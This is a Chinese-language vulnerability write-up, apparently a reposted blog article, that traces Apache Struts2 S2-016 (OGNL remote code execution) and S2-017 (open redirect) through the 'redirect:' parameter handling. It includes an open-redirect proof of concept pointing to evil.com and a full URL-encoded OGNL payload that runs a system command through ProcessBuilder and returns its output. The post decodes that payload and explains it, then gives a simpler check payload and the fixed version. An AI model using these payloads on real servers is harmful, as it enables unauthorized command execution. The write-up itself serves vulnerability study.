S2-016、S2-017
前言
??? 由于S2-016、S2-017出現的原因時相同的,只是由于poc不一樣,造成了不同的攻擊。S2-016是RCE,S2-017是開發型重定向漏洞。這里將兩個漏洞放一起分析。另外“Struts2系列起始篇”是我整各系列的核心,希望大家能花些時間先看看。
正文
??? 在起始篇中我們講到過,Struts2在StrutsPrepareFilter中通過DefaultActionMapper.getMapping獲取action對應的action mapper時會調用handleSpecialParameters對請求的url后面的特殊參數做判斷。跟進getMapping函數
?
??? 跟進handleSpecialParameters方法:
??? 在362行處,prefixTrie實際上就是一個類似Map<String,Object>的數據結構(具體實現不重要),在DefaultActionMapper的構造函數中就已經初始化了prefixTrie。
??? 可以看到prefixTrie有資格key,分別是method:、action:、redirect:、redirect-action:。當請求參數中有這四個參數中的某一個時,將會調用對應的value(一個ParameterAction)的execute方法。我們看一下官方的介紹,可以知道action:、redirect:、redirect-action:這三個是有問題的。
?
??? 我們選擇其中的“redirect: ”跟進對應的execute方法就好了
??? 方法內先是創建了一個ServletRedirectResult對象,然后調用ServletRedirectResult的sertLocation方法設置跳轉的url(可以看到是用的url后面的redirect參數分割后賦值的,假設我們訪問"http://localhost:8088/struts2-showcase-2.1.6/skill/edit.action?redirect:xxx",那么action mapper的location就是”xxx“),最后將該ServletRedirectResult放入action mapper中,到這里兩個漏洞的source點就分析出來了。
??? 我們在第一篇文章中講過,在Dispatcher.serviceaction()執行action前都會判斷actionmapper中是否有result屬性,有的話將調用result的execute方法而不會進入action中了。
由于這里分析起來較為麻煩,也難以說清楚,我們訪問"http://localhost:8088/struts2-showcase-2.1.6/skill/edit.action?redirect:xxx"后直接debug
?
??? F5步入,發現先是進入了StrutsResultSupport的execute方法,這是因為StrutsResultSupport是ServletRedirectResult的父類,而ServletRedirectResult自己有沒有實現execute方法。
?
??? 方法中先是調用conditionalParse解析location,再調用ServletRedirectResult.doExecute進行真正的跳轉。跟進conditionalParse方法中:
??? 繼續F5步入進入TextParseUtil.translateVariables方法中,發現其調用了translateVariables,其中初始化了一個char[]是”%“和"$",這是方便后面識別表達式(S2-027中就是因為ActionSupport類中的getText方法調用了此方法導致ognl表達式執行,ActionSupport是所有Action的父類,后面將不再分析此漏洞)
??? 繼續跟進:
??? 方法很長,但是內容很簡單,大致就是判斷location是否是表達式,如果是則進入stack.findValue(),由于這里我們的POC中location是”xxx“,所以我們進不去,先不管,之后我們改下poc再進這個方法中看看。回到StrutsResultSupport的execute方法中,這個時候我們知道了原來conditionalParse解析location就是判斷location是不是ognl表達式,然后進入了ServletRedirectResult.doExecute方法中
??? OK!到這里,S2-017這個開放型重定向漏洞就被分析出來了,我們只需改下poc,讓location為“http://www.baidu.com”就好了。"localhost:8088/struts2-showcase-2.1.6/viewSource.action?redirect:http://www.evil.com"
?
??? 回到之前我們沒有進去的代碼,現在我們再將poc修改下,讓location以”${“開頭以”}“結尾,進入循環代碼,訪問”localhost:8088/struts2-showcase-2.1.6/viewSource.action?redirect:${xxxx}“,發現后臺tomcat報錯了
??? 這是由于url中不讓有特殊字符,需要url編碼,這個時候有經驗的朋友可能會問:”為什么我以前利用S2的其他漏洞,ognl表達式都沒有url編碼,照樣能用呢?“,我看過其他朋友關于S2-016的分析,也都遇到這個問題了,就是S2-016不編碼的poc用不了。
??? 這里我簡單的測試了一下并沒有得出結論,最開始以為是瀏覽器識別時發現沒有“=”不會自動進行url編碼,后來經測試發現壓根就不是這樣的。不過從上面報出的異常棧中可以看到,請求壓根沒到struts2,是tomcat報錯了,所以我覺得應該和漏洞本身無關。不過貌似不管怎樣poc最好還是url編碼下吧。。。
??? 將poc修改下,重新訪問”localhost:8088/struts2-showcase-2.1.6/viewSource.action?redirect:%24%7Bxxxx%7D“
?
??? debug一下能發現這里的值棧其實是OgnlValueStack,我們在第一篇文章中也講過,創建值棧時創建的是其默認實現類OgnlValueStack。F5步入:
?
??? 可以看到表達式參數expr就是”xxxx“,繼續跟進ognlUtil.getValue
?
??? 到這里就可以看到將會執行ognl表達式了。至于為什么,后面會專門介紹OGNL的。現在我們將poc修改成如下”localhost:8088/struts2-showcase-2.1.6/skill/edit.action?redirect:%24%7B%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%27cmd.exe%27%2C%20%27%2fc%27%2C%27ipconfig%27%7D%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B500%5D%2C%23d.read%28%23e%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D“
??? 訪問會提示下載,下載下來打開里面就是執行的代碼結果了。
OGNL表達式
??? 其實百度百科就已經說的比較清楚了,看下介紹:
?
??? 可以看到OGNL就是用來訪問對象且可以調用對象的方法的,如果我們能訪問ProcessBuilder、Runtime這些對象并調用他們的方法豈不是就可以執行任意命令了。
?? ?先看下OGNL表達式的語法:
?
??? 上面對Ognl表達式的用法做了些簡單的介紹,至于為什么Ognl.getValue會執行表達式,這個需要看OGNL源碼才型,感覺在這里分析它沒有必要。知道了上面這些用法就足以讓我們理解poc和寫poc了。值得注意的是早期S2的漏洞中使用的POC都是通過?? ”**@[類全名(包括包路徑)]@[方法名 |? 值名**“? 來獲取ProcessBuilder、Runtime這些對象的,后來struts2禁用了靜態方法調用,所以大家將poc改為直接new 一個ProcessBuilder或Runtime來執行命令。現在我們將上面的poc url解碼后分析下:
?? ?${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','ipconfig'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[500],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
?? ?看起來好像代碼很多,實際上就是new一個ProcessBuilder對象執行了ipconfig命令,然后將輸出結果用io流讀取后通過HttpServletResponse返回。也可以使用如下較為簡單的方法進行驗證漏洞是否存在(記住需要url編碼):
${#p=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#p.println("hacker"),#p.close()}
?
S2-018
??? 這里不打算分析S2-018了,只是簡單的提一下,我們分析S2-016和S2-017時是通過跟進"redirect:"這個特殊的參數來分析的,實際上”redirect-action“和”action:“也有問題,其中S2-018就和”action:“相關,看下官方介紹:
??? 大概意思就是通過指定”action:“可以越權,由于漏洞影響不大,我沒有分析它,感興趣的小伙伴可以自行跟進
?
修復方法
??? S2-016、S2-017、S2-018影響范圍在Struts 2.0.0 - Struts 2.3.15.2 。Struts 2.3.15.3的版本中已經將這三個特殊參數都刪除了
參考文章
https://cwiki.apache.org/confluence/display/WW/Security+Bulletins
https://blog.csdn.net/u011721501/article/details/41735885
https://www.jianshu.com/p/298a2cb12403
轉載于:https://www.cnblogs.com/jinqi520/p/10813737.html
總結
以上是生活随笔為你收集整理的S2-016、S2-017的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 大淘宝技术发布首个基于神经渲染的3D建模
- 下一篇: 程序员,你还在 Select * 吗?